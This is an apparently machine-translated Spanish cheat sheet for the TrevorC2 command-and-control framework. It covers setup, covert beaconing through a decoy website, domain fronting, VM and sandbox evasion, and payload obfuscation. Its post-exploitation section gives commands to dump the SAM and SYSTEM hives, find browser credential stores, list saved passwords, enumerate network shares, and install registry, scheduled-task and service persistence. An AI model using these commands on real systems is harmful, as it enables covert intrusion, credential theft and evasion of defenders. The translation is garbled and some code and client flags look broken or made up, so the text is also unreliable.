Hoja de Cheat Marco TrevorC2
"Clase de la hoja" idbutton id="trevorc2-copy-btn" class="copy-btn" onclick="copyAllCommands()" Copiar todos los comandos
########################################################################################################################################################################################################################################################## Generar PDF seleccionado/button
■/div titulada
Sinopsis
TrevorC2 es un sitio web legítimo que túneles cliente/servidor comunicaciones para ejecución de comando encubierta. Desarrollado por TrustedSec, utiliza sitios web legítimos como un frente para las comunicaciones de comando y control, lo que hace que la detección sea extremadamente difícil ya que el tráfico parece ser una navegación web normal.
NOVEDAD Advertencia: Esta herramienta está destinada a pruebas de penetración autorizadas y ejercicios de equipo rojo solamente. Asegúrese de tener la autorización adecuada antes de usar en cualquier entorno.
Instalación
Git Instalación
# Clone the repository
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
# Install Python dependencies
pip3 install -r requirements.txt
Configuración manual
# Download latest release
wget https://github.com/trustedsec/trevorc2/archive/master.zip
unzip master.zip
cd trevorc2-master
# Install dependencies
pip3 install pycrypto requests
Docker Instalación
# Build Docker container
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
docker build -t trevorc2 .
# Run container
docker run -it -p 443:443 trevorc2
Uso básico
Configuración del servidor
# Start TrevorC2 server
python3 trevorc2_server.py
# Start server with custom configuration
python3 trevorc2_server.py --config custom_config.py
# Start server on specific port
python3 trevorc2_server.py --port 8080
Despliegue del cliente
# Generate client
python3 trevorc2_client.py
# Generate client with custom server
python3 trevorc2_client.py --server https://example.com
# Generate PowerShell client
python3 trevorc2_client.py --powershell
Referencia del Comando
Comandos de servidor
Command | Description |
---|---|
help |
Display help menu |
list |
List active agents |
interact <id> |
Interact with agent |
kill <id> |
Kill specific agent |
killall |
Kill all agents |
exit |
Exit server |
Agente Interacción
Command | Description |
---|---|
shell <command> |
Execute shell command |
upload <local> <remote> |
Upload file to agent |
download <remote> <local> |
Download file from agent |
screenshot |
Take screenshot |
keylogger start |
Start keylogger |
keylogger stop |
Stop keylogger |
keylogger dump |
Dump keylogger data |
persistence |
Install persistence |
migrate <pid> |
Migrate to process |
back |
Background agent |
Configuración
Configuración del servidor
# config.py
BIND_PORT = 443
HOSTNAME = "0.0.0.0"
WEBSITE_FOLDER = "site/"
CERT_FILE = "server.pem"
# Encryption settings
CIPHER_TYPE = "AES"
HASH_TYPE = "SHA256"
# Communication settings
BEACON_INTERVAL = 10
JITTER = 0.2
# Logging
LOG_FILE = "trevorc2.log"
DEBUG = False
Configuración del cliente
# Client settings
SERVER_URL = "https://example.com"
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
SLEEP_TIME = 10
JITTER = 0.2
# Persistence settings
PERSISTENCE_METHOD = "registry"
PERSISTENCE_KEY = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
Características avanzadas
Sitio web enmascarado
# Set up legitimate website front
mkdir site
cp -r /var/www/html/* site/
# Use custom website
python3 trevorc2_server.py --site /path/to/website
# Clone existing website
wget -r -p -k https://example.com
python3 trevorc2_server.py --site example.com/
SSL/TLS Configuración
# Generate self-signed certificate
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# Use custom certificate
python3 trevorc2_server.py --cert /path/to/cert.pem --key /path/to/key.pem
# Let's Encrypt certificate
certbot certonly --standalone -d yourdomain.com
python3 trevorc2_server.py --cert /etc/letsencrypt/live/yourdomain.com/fullchain.pem --key /etc/letsencrypt/live/yourdomain.com/privkey.pem
Domain Fronting
# Configure domain fronting
FRONT_DOMAIN = "cdn.example.com"
HOST_HEADER = "legitimate-site.com"
# Client configuration for domain fronting
client_config = \\\\{
'server_url': 'https://cdn.example.com',
'host_header': 'legitimate-site.com',
'sni': 'cdn.example.com'
\\\\}
Generación del cliente
Cliente de Windows
# Generate Windows executable
python3 trevorc2_client.py --windows --output client.exe
# Generate PowerShell client
python3 trevorc2_client.py --powershell --output client.ps1
# Generate batch file client
python3 trevorc2_client.py --batch --output client.bat
Linux Client
# Generate Linux binary
python3 trevorc2_client.py --linux --output client
# Generate Python client
python3 trevorc2_client.py --python --output client.py
# Generate shell script client
python3 trevorc2_client.py --shell --output client.sh
MacOS Client
# Generate macOS binary
python3 trevorc2_client.py --macos --output client
# Generate AppleScript client
python3 trevorc2_client.py --applescript --output client.scpt
Técnicas de evacuación
Obfuscación de tráfico
# Custom User-Agent strings
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
]
# Random beacon intervals
import random
SLEEP_TIME = random.randint(5, 15)
Codificación de la carga útil
# Base64 encode payload
echo "payload"|base64
# XOR encode payload
python3 -c "
import sys
key = 0xAA
payload = sys.argv[1]
encoded = ''.join([chr(ord(c) ^ key) for c in payload])
print(encoded.encode('hex'))
" "your_payload"
Anti-Analisis
# VM detection
import subprocess
def check_vm():
vm_indicators = ['VMware', 'VirtualBox', 'QEMU']
try:
output = subprocess.check_output('systeminfo', shell=True)
for indicator in vm_indicators:
if indicator in output.decode():
return True
except:
pass
return False
# Sandbox evasion
import time
def sandbox_evasion():
time.sleep(60) # Sleep to avoid sandbox analysis
# Check for mouse movement, user activity, etc.
Post-Explotación
Reunión de información
# System information
shell systeminfo
shell whoami /all
shell net user
shell net group
# Network information
shell ipconfig /all
shell netstat -an
shell arp -a
shell route print
Cosecha temporal
# Dump SAM database
shell reg save HKLM\SAM sam.hiv
shell reg save HKLM\SYSTEM system.hiv
download sam.hiv
download system.hiv
# Browser credentials
shell dir "%APPDATA%\Mozilla\Firefox\Profiles"
shell dir "%LOCALAPPDATA%\Google\Chrome\User Data\Default"
# Saved passwords
shell cmdkey /list
Movimiento Lateral
# Network discovery
shell net view
shell ping -n 1 192.168.1.1-254
# Share enumeration
shell net view \\target-computer
shell dir \\target-computer\c$
# Service enumeration
shell sc query
shell tasklist /svc
Persistence Mechanisms
# Registry persistence
shell reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /d "C:\temp\client.exe"
# Scheduled task
shell schtasks /create /tn "Update" /tr "C:\temp\client.exe" /sc onlogon
# Service persistence
shell sc create "UpdateService" binpath= "C:\temp\client.exe"
shell sc config "UpdateService" start= auto
Seguridad operacional
Seguridad de la comunicación
# Encrypted communications
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
def encrypt_data(data, key):
cipher = AES.new(key, AES.MODE_GCM)
ciphertext, tag = cipher.encrypt_and_digest(data.encode())
return cipher.nonce + tag + ciphertext
# Certificate pinning
import ssl
def verify_certificate(hostname, cert_path):
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_REQUIRED
context.load_verify_locations(cert_path)
Procedimientos operacionales
# Rotate infrastructure regularly
# Use different domains and IPs
# Implement proper logging and monitoring
# Use legitimate certificates
# Vary communication patterns
Solución de problemas
Cuestiones de conexión
# Check server status
netstat -tlnp|grep :443
# Test connectivity
curl -k https://your-server.com
# Check firewall rules
iptables -L
ufw status
Cuestiones de cliente
# Debug client connection
# Add debug prints to client code
print("Connecting to server...")
print(f"Response: \\\\{response.status_code\\\\}")
# Check DNS resolution
nslookup your-server.com
dig your-server.com
Problemas de certificado
# Verify certificate
openssl x509 -in server.pem -text -noout
# Test SSL connection
openssl s_client -connect your-server.com:443
# Check certificate chain
curl -vI https://your-server.com
Evasión de detección
Nivel de red
- Use dominios y certificados legítimos
- Implementar el frente de dominio
- Intervalos de comunicación Vary
- Use puertos comunes (80, 443)
- Patrones de tráfico legítimos
Nivel de acogida
- Evite los COI comunes
- Usar nombres legítimos de procesos
- Implementar técnicas anti-VM
- Usar la ejecución sin archivos
- Encrypt payloads and communications
Comportamiento
- Uso limitado de los recursos
- Evitar actividades sospechosas
- Use agentes de usuario legítimos
- Implementar un correcto manejo de errores
- Limpiar artefactos
Recursos
-...
*Esta hoja de trampa proporciona una referencia completa para el uso de TrevorC2. Siempre asegúrese de tener una autorización adecuada antes de usar esta herramienta en cualquier entorno. *